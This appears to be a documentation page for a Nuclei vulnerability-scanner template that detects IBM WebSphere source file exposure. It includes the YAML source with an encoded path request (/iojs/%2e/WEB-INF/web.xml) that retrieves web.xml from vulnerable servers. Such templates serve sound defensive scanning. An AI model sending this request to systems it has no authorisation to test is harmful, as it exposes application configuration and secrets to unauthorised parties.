IBM WebSphere Application - Source File Exposure
ID: ibm-websphere-xml
Severity: medium
Author: r3nz0
Tags: ibm,websphere,exposure,misconfig
Description
Section titled “Description”Disclose application specific files contained within the war file, including files under the web-inf and meta-inf directories.
YAML Source
Section titled “YAML Source”id: ibm-websphere-xml
info: name: IBM WebSphere Application - Source File Exposure author: r3nz0 severity: medium description: | Disclose application specific files contained within the war file, including files under the web-inf and meta-inf directories. reference: - https://www.acunetix.com/vulnerabilities/web/ibm-websphere-weblogic-application-source-file-exposure/ metadata: verified: true max-request: 1 tags: ibm,websphere,exposure,misconfig
http: - method: GET path: - "{{BaseURL}}/iojs/%2e/WEB-INF/web.xml"
matchers-condition: and matchers: - type: word part: body words: - "</web-app>" - "<servlet>" condition: and
- type: status status: - 200# digest: 490a0046304402206df20d5c6743da6cd8d4b13ca0c571bb01e524324313989c4f80c8dab7a9c5630220783a5d91abb7de3589c7250781e18ea7fe839ba6e661324c4b170c51dbb62aec:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/misconfiguration/ibm-websphere-xml.yaml"